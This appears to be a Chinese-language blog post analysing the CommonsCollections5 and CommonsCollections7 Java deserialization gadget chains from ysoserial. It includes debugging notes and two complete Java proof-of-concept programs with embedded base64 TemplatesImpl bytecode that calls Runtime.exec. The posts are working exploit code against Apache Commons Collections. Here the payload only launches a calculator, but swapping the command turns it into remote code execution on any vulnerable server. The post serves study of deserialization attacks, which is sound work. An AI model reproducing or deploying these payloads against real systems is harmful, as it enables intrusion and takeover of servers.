java安全漫谈观后感(十)-CC补漏篇
2022-04-29 23:20:19

java安全漫谈观后感(十)-CC补漏篇

前言

p神的java安全漫谈讲到CC4后暂时没更新跟CC相关的内容了,frohoff师傅原版的ysoserial里还有CC5和CC7没讲,学。

CommonsCollections5

yso中的CC5

直接看看yso的利用链

image-20220424225836004

可以看到ChainedTransformer.transform()之后这部分都是老熟人了,后面这一坨和前面学习的内容是一样的,就不用分析了。且可以看到这里是LazyMap.get()触发的transform()方法,关键点在怎么触发LazyMap.get()。前面学习CC6时知道TiedMapEntry.hashCode()可以触发,这里CC5用到的是一种新思路,利用TiedMapEntry.toString()。而BadAttributeValueExpException的反序列化可以触发到TiedMapEntry.toString()。这里的注释部分还提示了CC5只能在8u76且没有security manager的情况下使用。

TiedMapEntry.toString()

TiedMapEntrytoString()方法可以触发到this.getkey()this.getValue()

image-20220424230928498

其中的this.getValue()是关键,TiedMapEntry.hashCode()触发LazyMap.get()也是利用到了TiedMapEntry.getValue()

image-20220424231037047

BadAttributeValueExpException

BadAttributeValueExpException.readObject的可以触发valObj.toString()。可以看到只有当满足System.getSecurityManager()为空,或者valObj是Long等数据类型的实例时才可以触发toString()方法。而valObj是取自反序列化后BadAttributeValueExpException的val属性。

image-20220424232606722

看看BadAttributeValueExpException的构造函数,很简单,构造函数的作用就是给自己的val属性赋值。

image-20220424232931497

为了触发TiedMapEntry.toString(),显然这里构造函数应该传入TiedMapEntry对象。而TiedMapEntry对象显然不会是Long等数据类型的实例,所以当且仅当System.getSecurityManager() == null,才能顺利触发TiedMapEntry.toString()。也即是我们前面看到yso中作者的注释,需要没配置security manager

image-20220424233455638

注意到BadAttributeValueExpException构造函数里也有toString()

image-20220424233740481

为了避免在本地触发代码执行,我们new BadAttributeValueExpException时传入一个无害的null,后面再反射修改其中的val属性。

把前面CC6的代码拿过来,把出发点从HashMap改成BadAttributeValueExpException,再反射改val属性,yso中的CC5就完成了,整体还是比较简单。

image-20220424233956804

Gadget Chain如下:

image-20220424234150705

核心步骤:

1
2
3
4
5
6
7
8
//  Gadet Chain:
// javax.management.BadAttributeValueExpException.readObject()
// org.apache.commons.collections.keyvalue.TiedMapEntry.toString()
// org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
// org.apache.commons.collections.map.LazyMap.get()
// org.apache.commons.collections.functors.ChainedTransformer.transform()
// org.apache.commons.collections.functors.InvokerTransformer.transform()
// Runtime.exec()

关于注释中的8u76

本地测了8u231,8u101,8u40,甚至6u45这条链子都可以弹出来计算器,我把本地idea触发toString()关掉后还是可以正常触发,有点奇怪。

看到作者注释中的commit

image-20220425000100387

这个commit后才增加了readObject方法,这里显示的8u76

image-20220425000412020

查了下https://github.com/JetBrains/jdk8u_jdk这个仓库似乎是openjdk的源码,那就难怪对不上了,正常oracle jdk测出来CC5这个链子通用性还是很不错滴。

无数组的CC5

结合前面的知识不难弄出无数组的CC5

image-20220425001413676

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class CC5plus {
public static void main(String[] args) throws Exception {

byte[] code = Base64.decodeBase64("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHUxieXRlY29kZXMvRXZpbFRlbXBsYXRlc0ltcGw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcALgEAClNvdXJjZUZpbGUBABZFdmlsVGVtcGxhdGVzSW1wbC5qYXZhDAAcAB0HAC8MADAAMQEAE0hlbGxvIFRlbXBsYXRlc0ltcGwHADIMADMANAcANQwANgA3AQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAOAA5AQAbYnl0ZWNvZGVzL0V2aWxUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAKAA4AAAAgAAMAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAEwAUAAIAFQAAAAQAAQAWAAEACgAXAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAMAA4AAAAqAAQAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAGAAZAAIAAAABABoAGwADABUAAAAEAAEAFgABABwAHQACAAwAAABMAAIAAQAAABYqtwABsgACEgO2AAS4AAUSBrYAB1exAAAAAgANAAAAEgAEAAAADwAEABAADAARABUAEgAOAAAADAABAAAAFgAPABAAAAAVAAAABAABAB4AAQAfAAAAAgAg".getBytes());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "2333");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer itransformer = new InvokerTransformer("newTransformer", null,null);
Map innerMap = new HashMap();
Map outerMap= LazyMap.decorate(innerMap,itransformer);
TiedMapEntry tme=new TiedMapEntry(outerMap, obj);

BadAttributeValueExpException bada=new BadAttributeValueExpException(null);

Field f1 = BadAttributeValueExpException.class.getDeclaredField("val");
f1.setAccessible(true);
f1.set(bada, tme);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(bada);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

核心调用链和前面只有Transformer有变化

1
2
3
4
5
6
7
//  Gadet Chain:
// javax.management.BadAttributeValueExpException.readObject()
// org.apache.commons.collections.keyvalue.TiedMapEntry.toString()
// org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
// org.apache.commons.collections.map.LazyMap.get()
// org.apache.commons.collections.functors.InvokerTransformer.transform()
// com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()

CommonsCollections7

yso中的CC7

看看yso中的CC7调用链

image-20220425001905852

基于ChainedTransformer触发代码执行,用LazyMap.get触发transform()方法,这些都是很熟悉的可以忽略,直接看怎么触发到LazyMap.get。这里利用到了AbstractMap.equals,而起点Hashtable.readObject可以触发到AbstractMap.equals

调试

这条链子感觉比CC5更复杂, 这里直接在HashTable.readObject处下断点调试跟下过程。

发现会经历两次reconstitutionPut()

image-20220425232226293

因为这里的循环次数是依据Hashtable中的元素量,yso实现CC7时做了两次Hashtable.put,分别传入两个不同的lazyMap。所以反序列化时Hashtable中有两个元素,会执行两次循环。

image-20220425232328289

LazyMap.get()是在第二次reconstitutionPut()触发的,可以看到此时触发的是yso中第一个LazyMap和第二个LazyMapequals操作。

image-20220425234337378

跟入,到了AbstractMapDecorator.equals()

image-20220425234506058

继续跟,进入AbstractMap.equals()

image-20220425234634784

触发到了m.get(key),这里的m就是Hashtable中第二个LazyMap,触发到了LazyMap.get(),至此算是结束了。后面触发transform()都是老套路了,就不用讲了。

执行两次Hashtable.put的原因

为啥yso中要执行两次Hashtable.put呢?

跟第一次Hashtable.reconstitutionPut(),要触发到.equals()必须进入这个for循环,但是我们可以看到这里的tab[index]是null,会退出for循环,无法达到我们的预期。

image-20220425233049125

不过好在跳过for循环后,会对tab[index]赋值,这里把序列化的Hashtable第一个元素赋值给了tab。

image-20220425233356986

也即是触发reconstitutionPut()方法时Hashtable中的table参数。

image-20220425233528910

所以执行两次Hashtable.put的目的应该是给Hashtable.table赋值,以便进入我们想要的后续。

为什么最后有一句remove

yso中的实现在最后有一句remove,我们把它注释掉,发现计算器出不来,那就调试分析原因。

当我们在第二次reconstitutionPut循环,执行到关键的AbstractMap.equals时,可以发现此时的m有两个元素,莫名其妙多了一个key和value都是yy的键值对。

image-20220425225728038

此时this.size()也即是我们的第一组LazyMap的size是1,而这里第二个LazyMap的size却是2,会导致直接返回false,没法走到下面的关键的m.get(key),所以没法正常触发LazyMap.get

所以CC7最后会有一段

1
lazyMap2.remove("yy")

给lazyMap2删除key是yy的元素。

我们再分析分析这里的lazyMap2为啥会有两个元素。

在CommonsCollections7下断点,观察lazyMap2变化,可以发现当执行hashtable.put(lazyMap2, 2)后,lazyMap2的size变成了2。所以在hashtable.put下断点跟跟

发现在hashtable.put的时候,也会触发到LazyMap.get(),且这里有一段this.map.put(key, value)

image-20220425235719860

这里put了一个key和value都是yy的元素,执行完这段后this.map就变成2个元素了。

image-20220426000145781

那为啥我们第一次Hashtable.put不会触发呢,看看Hashtable.put的实现。

image-20220426000555705

这里的过程类似reconstitutionPut(),第一次put时不会触发for循环,第二次put由于table已经有值了,所以会进入for循环触发到entry.key.equals,最后触发到LazyMap.get()。所以第二次及以后每次Hashtable新增符合条件(即能正常触发if语句,需要entry.hash==hash)的元素都会触发LazyMap.get,需要remove

image-20220426000941004

为什么put的key是yy和zZ

改动上面LazyMap.put的key值,可以发现计算器并不会如愿弹出来。跟进看看

在第二次reconstitutionPut进入for循环后,有个if判断

image-20220426004430380

关键的e.key.equals(key)就在这里,但是前面其实还有个e.hash == hash,如果不满足这个条件,会提前结束这个判断。

image-20220426005438085

所以为了让这里的hash比较等于true,找到了yy和zZ两个字符,因为它们的hashCode结果是一样的。

image-20220426005714561

还有个坑点是例如我这样写gadget

1
2
3
4
5
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("Aa", 1);

这样写经过一轮reconstitutionPut后,基于lazyMap1的hash给tab[0]赋值了,而在第二轮reconstitutionPut,基于lazyMap2的hash计算得到e= tab[1],e的值为null会退出for循环,导致触发不了我们的关键步骤。

image-20220426010258756

综上我们需要两个hashCode的值是一样的key,也即是gadget里用到的yy和zZ。

反射

前面分析过了,Hashtable在put方法时,也会触发LazyMap.get(),会触发transform()方法,为了避免我们本地触发命令执行,所以用反射的形式写。

关于LazyMap.put的Value值

我看很多师傅的文章似乎都没提这个点,我也是偶然发现我从yso照搬过来核心部分发现代码怎么都跑不对劲。

先给大伙儿看看这个诡异的现象

image-20220429141923605

Hashtable经过两次put的后竟然只有一个元素!

显然问题出在第二次put,跟入看看

image-20220429143257582

竟然走入了这个if逻辑,这里直接return了,不会走到后面的addEntry,所以Hashteble的元素没有增加。

再往前找找原因

前面其实也讲过,在做put的时候也会触发到LazyMap.get(),因为会走到AbstractMap.equals的这里

image-20220429143612174

接着就进入LazyMap.get

image-20220429143759866

这里this.factoryConstantTransformer(1),经过transform()放回会返回1,会导致前面那里结果是true

image-20220429144150829

最终返回true

image-20220429144225859

即this.map.equals(obejct)返回true,则AbstractMapDecorator.equals返回true

image-20220429144333588

即这里entry.key.equals(key)返回true

image-20220429144453785

所以这里要解决也很简单,只要LazyMap.put时的value不能等于假的fakeTransformers.transform()返回的值。

观察yso原作者实现的CC7,可以看到CC7中的transformerChain是空的,而之前CC1用的是

1
2
CommonsCollections1final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });

显然这里是有意规避这个问题的。

image-20220429144710506

魔改CC7

CC6+CC7合体

前面分析reconstitutionPut的时候可以看到,其实这里有对key做一次hashCode()操作。

image-20220429135559258

之前学习CC6的时候可以知道TiedMapEntry.hashCode()可以搞事触发LazyMap.get

所以可以缝合CC6和CC7得到一个HashTable出发的魔改CC6

image-20220429135835952

调用链

image-20220429140034613

核心部分:

1
2
3
4
5
6
7
8
9
//  Gadet Chain:
// java.util.Hashtable.readObject()
// java.util.Hashtable.reconstitutionPut()
// org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
// org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
// org.apache.commons.collections.map.LazyMap.get()
// org.apache.commons.collections.functors.ChainedTransformer.transform()
// org.apache.commons.collections.functors.InvokerTransformer.transform()
// java.lang.Runtime.exec()

改成无数组的

显然也可以改成TemplatesImpl触发代码执行的无数组形式,没啥难度,拼接一下之前的无数组CC6就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static void main(String[] args) throws Exception {
byte[] code = Base64.decodeBase64("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHUxieXRlY29kZXMvRXZpbFRlbXBsYXRlc0ltcGw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcALgEAClNvdXJjZUZpbGUBABZFdmlsVGVtcGxhdGVzSW1wbC5qYXZhDAAcAB0HAC8MADAAMQEAE0hlbGxvIFRlbXBsYXRlc0ltcGwHADIMADMANAcANQwANgA3AQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAOAA5AQAbYnl0ZWNvZGVzL0V2aWxUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAKAA4AAAAgAAMAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAEwAUAAIAFQAAAAQAAQAWAAEACgAXAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAMAA4AAAAqAAQAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAGAAZAAIAAAABABoAGwADABUAAAAEAAEAFgABABwAHQACAAwAAABMAAIAAQAAABYqtwABsgACEgO2AAS4AAUSBrYAB1exAAAAAgANAAAAEgAEAAAADwAEABAADAARABUAEgAOAAAADAABAAAAFgAPABAAAAAVAAAABAABAB4AAQAfAAAAAgAg".getBytes());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "2333");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer itransformer = new InvokerTransformer("getClass", null,null);
Map innerMap = new HashMap();
Map outerMap= LazyMap.decorate(innerMap,itransformer);
TiedMapEntry tme=new TiedMapEntry(outerMap, obj);

Hashtable hashtable = new Hashtable();
hashtable.put(tme, 2);
outerMap.clear();

Field f = InvokerTransformer.class.getDeclaredField("iMethodName");
f.setAccessible(true);
f.set(itransformer, "newTransformer");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

调用链

image-20220429140956216

核心调用链

1
2
3
4
5
6
7
8
//  Gadet Chain:
// java.util.Hashtable.readObject()
// java.util.Hashtable.reconstitutionPut()
// org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
// org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
// org.apache.commons.collections.map.LazyMap.get()
// org.apache.commons.collections.functors.InvokerTransformer.transform()
// com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()
Prev
2022-04-29 23:20:19
Next